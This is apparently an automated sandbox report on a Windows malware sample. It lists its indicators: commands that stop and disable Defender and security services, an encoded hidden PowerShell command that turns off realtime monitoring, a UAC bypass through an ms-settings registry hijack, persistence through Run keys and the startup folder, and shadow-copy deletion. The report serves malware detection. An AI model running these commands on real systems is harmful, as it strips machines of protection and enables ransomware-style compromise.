Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/10/2026, 20:43
Static task
static1
Behavioral task
behavioral1
Sample
vebo.vn_hyber.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
vebo.vn_hyber.exe
Resource
win11ltsc2024-20260911-en
General
- Target vebo.vn_hyber.exe
- Size 49KB
- Sample261002-zhyqaasekf
- SHA256 461123453a95e24f950b210d03b14fc0f141cec1872a3266b3e78731a19d7d8e
- MD5 d21fb04ae49bd6d531608be74ddd2911
- SHA1 efe949c5ccbc4f41fa31eafd0714045a262ecfc0
- SHA512 ad6287f7df00df2750fa4ff60d750cff1695e0ad8493808e2183a1dcaa0dda294f786115916c4e08b8f8b56a9513b54a3e0c3a1af91df018f6abcb272af6aad7
- SSDEEP 768:lrVZZ6zs0hpTbkZn3q4/NKPzfX/fr74b:1Z6Hh1bkpa4GP/fr74b
- TLSH T17933F64937ED4526E1BF8EBE89B291119731F4539C23D78E0AD8459E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4824-1-0x0000000000F20000-0x0000000000F32000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" vebo.vn_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2092 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" vebo.vn_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts vebo.vn_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1792 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf vebo.vn_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf vebo.vn_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf vebo.vn_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vebo.vn_hyber.exe" vebo.vn_hyber.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3188 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe vebo.vn_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe vebo.vn_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe vebo.vn_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4692 wscript.exe 932 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" vebo.vn_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3170114693.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1688 sc.exe 2576 sc.exe 1328 sc.exe 2408 sc.exe 2196 sc.exe 3468 sc.exe 4144 sc.exe 1492 sc.exe 2560 sc.exe 4556 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5888 cmd.exe 2892 cmd.exe 1116 cmd.exe 5876 cmd.exe 4780 cmd.exe 5776 cmd.exe 4392 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain vebo.vn_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname vebo.vn_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 432 ipconfig.exe 2464 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1384 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2984 vssadmin.exe 4276 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\WallpaperStyle = "2" vebo.vn_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings vebo.vn_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command vebo.vn_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell vebo.vn_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open vebo.vn_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\vebo.vn_hyber.exe" vebo.vn_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\DelegateExecute vebo.vn_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet vebo.vn_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell vebo.vn_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command vebo.vn_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open vebo.vn_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell vebo.vn_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings vebo.vn_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" vebo.vn_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command vebo.vn_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\vebo.vn_hyber.exe\" \"%1\"" vebo.vn_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open vebo.vn_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5244 schtasks.exe 2808 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2092 powershell.exe 2092 powershell.exe 2092 powershell.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 2524 WMIC.exe 2524 WMIC.exe 2524 WMIC.exe 2524 WMIC.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 2352 WMIC.exe 2352 WMIC.exe 2352 WMIC.exe 2352 WMIC.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe 4824 vebo.vn_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4108 LogonUI.exe Token: SeCreatePagefilePrivilege 4108 LogonUI.exe Token: SeDebugPrivilege 4824 vebo.vn_hyber.exe Token: SeDebugPrivilege 2092 powershell.exe Token: SeIncreaseQuotaPrivilege 2092 powershell.exe Token: SeSecurityPrivilege 2092 powershell.exe Token: SeTakeOwnershipPrivilege 2092 powershell.exe Token: SeLoadDriverPrivilege 2092 powershell.exe Token: SeSystemProfilePrivilege 2092 powershell.exe Token: SeSystemtimePrivilege 2092 powershell.exe Token: SeProfSingleProcessPrivilege 2092 powershell.exe Token: SeIncBasePriorityPrivilege 2092 powershell.exe Token: SeCreatePagefilePrivilege 2092 powershell.exe Token: SeBackupPrivilege 2092 powershell.exe Token: SeRestorePrivilege 2092 powershell.exe Token: SeShutdownPrivilege 2092 powershell.exe Token: SeDebugPrivilege 2092 powershell.exe Token: SeSystemEnvironmentPrivilege 2092 powershell.exe Token: SeRemoteShutdownPrivilege 2092 powershell.exe Token: SeUndockPrivilege 2092 powershell.exe Token: SeManageVolumePrivilege 2092 powershell.exe Token: 33 2092 powershell.exe Token: 34 2092 powershell.exe Token: 35 2092 powershell.exe Token: 36 2092 powershell.exe Token: SeIncBasePriorityPrivilege 4824 vebo.vn_hyber.exe Token: SeDebugPrivilege 1824 whoami.exe Token: SeIncreaseQuotaPrivilege 2092 powershell.exe Token: SeSecurityPrivilege 2092 powershell.exe Token: SeTakeOwnershipPrivilege 2092 powershell.exe Token: SeLoadDriverPrivilege 2092 powershell.exe Token: SeSystemProfilePrivilege 2092 powershell.exe Token: SeSystemtimePrivilege 2092 powershell.exe Token: SeProfSingleProcessPrivilege 2092 powershell.exe Token: SeIncBasePriorityPrivilege 2092 powershell.exe Token: SeCreatePagefilePrivilege 2092 powershell.exe Token: SeBackupPrivilege 2092 powershell.exe Token: SeRestorePrivilege 2092 powershell.exe Token: SeShutdownPrivilege 2092 powershell.exe Token: SeDebugPrivilege 2092 powershell.exe Token: SeSystemEnvironmentPrivilege 2092 powershell.exe Token: SeRemoteShutdownPrivilege 2092 powershell.exe Token: SeUndockPrivilege 2092 powershell.exe Token: SeManageVolumePrivilege 2092 powershell.exe Token: 33 2092 powershell.exe Token: 34 2092 powershell.exe Token: 35 2092 powershell.exe Token: 36 2092 powershell.exe Token: SeDebugPrivilege 3188 tasklist.exe Token: SeDebugPrivilege 2464 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 2524 WMIC.exe Token: SeSecurityPrivilege 2524 WMIC.exe Token: SeTakeOwnershipPrivilege 2524 WMIC.exe Token: SeLoadDriverPrivilege 2524 WMIC.exe Token: SeSystemProfilePrivilege 2524 WMIC.exe Token: SeSystemtimePrivilege 2524 WMIC.exe Token: SeProfSingleProcessPrivilege 2524 WMIC.exe Token: SeIncBasePriorityPrivilege 2524 WMIC.exe Token: SeCreatePagefilePrivilege 2524 WMIC.exe Token: SeBackupPrivilege 2524 WMIC.exe Token: SeRestorePrivilege 2524 WMIC.exe Token: SeShutdownPrivilege 2524 WMIC.exe Token: SeDebugPrivilege 2524 WMIC.exe Token: SeSystemEnvironmentPrivilege 2524 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4824 vebo.vn_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4108 LogonUI.exe 4108 LogonUI.exe 4824 vebo.vn_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4824 wrote to memory of 2092 4824 vebo.vn_hyber.exe 90 PID 4824 wrote to memory of 2560 4824 vebo.vn_hyber.exe 91 PID 4824 wrote to memory of 2408 4824 vebo.vn_hyber.exe 94 PID 4824 wrote to memory of 4556 4824 vebo.vn_hyber.exe 96 PID 4824 wrote to memory of 2196 4824 vebo.vn_hyber.exe 98 PID 4824 wrote to memory of 3468 4824 vebo.vn_hyber.exe 100 PID 4824 wrote to memory of 4144 4824 vebo.vn_hyber.exe 102 PID 4824 wrote to memory of 1688 4824 vebo.vn_hyber.exe 104 PID 4824 wrote to memory of 2576 4824 vebo.vn_hyber.exe 106 PID 4824 wrote to memory of 5160 4824 vebo.vn_hyber.exe 107 PID 5160 wrote to memory of 3700 5160 fodhelper.exe 109 PID 4824 wrote to memory of 932 4824 vebo.vn_hyber.exe 111 PID 4824 wrote to memory of 5244 4824 vebo.vn_hyber.exe 112 PID 4824 wrote to memory of 4948 4824 vebo.vn_hyber.exe 117 PID 4824 wrote to memory of 5876 4824 vebo.vn_hyber.exe 120 PID 4824 wrote to memory of 1116 4824 vebo.vn_hyber.exe 122 PID 4824 wrote to memory of 2892 4824 vebo.vn_hyber.exe 123 PID 4824 wrote to memory of 5888 4824 vebo.vn_hyber.exe 124 PID 4824 wrote to memory of 4392 4824 vebo.vn_hyber.exe 125 PID 4824 wrote to memory of 5776 4824 vebo.vn_hyber.exe 126 PID 4824 wrote to memory of 4780 4824 vebo.vn_hyber.exe 127 PID 4824 wrote to memory of 2808 4824 vebo.vn_hyber.exe 133 PID 4824 wrote to memory of 4692 4824 vebo.vn_hyber.exe 136 PID 4824 wrote to memory of 2984 4824 vebo.vn_hyber.exe 137 PID 4824 wrote to memory of 2524 4824 vebo.vn_hyber.exe 138 PID 4824 wrote to memory of 4584 4824 vebo.vn_hyber.exe 139 PID 4824 wrote to memory of 1792 4824 vebo.vn_hyber.exe 140 PID 4824 wrote to memory of 1492 4824 vebo.vn_hyber.exe 141 PID 4824 wrote to memory of 1328 4824 vebo.vn_hyber.exe 142 PID 5888 wrote to memory of 1824 5888 cmd.exe 146 PID 1116 wrote to memory of 1384 1116 cmd.exe 150 PID 5776 wrote to memory of 432 5776 cmd.exe 151 PID 4392 wrote to memory of 4532 4392 cmd.exe 152 PID 4780 wrote to memory of 2464 4780 cmd.exe 153 PID 4532 wrote to memory of 2624 4532 net.exe 154 PID 2892 wrote to memory of 3188 2892 cmd.exe 155 PID 5876 wrote to memory of 4276 5876 cmd.exe 156 PID 4584 wrote to memory of 4880 4584 net.exe 157 PID 5876 wrote to memory of 2352 5876 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe"C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2560
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2408
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4556
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2196
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3468
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4144
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1688
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2576
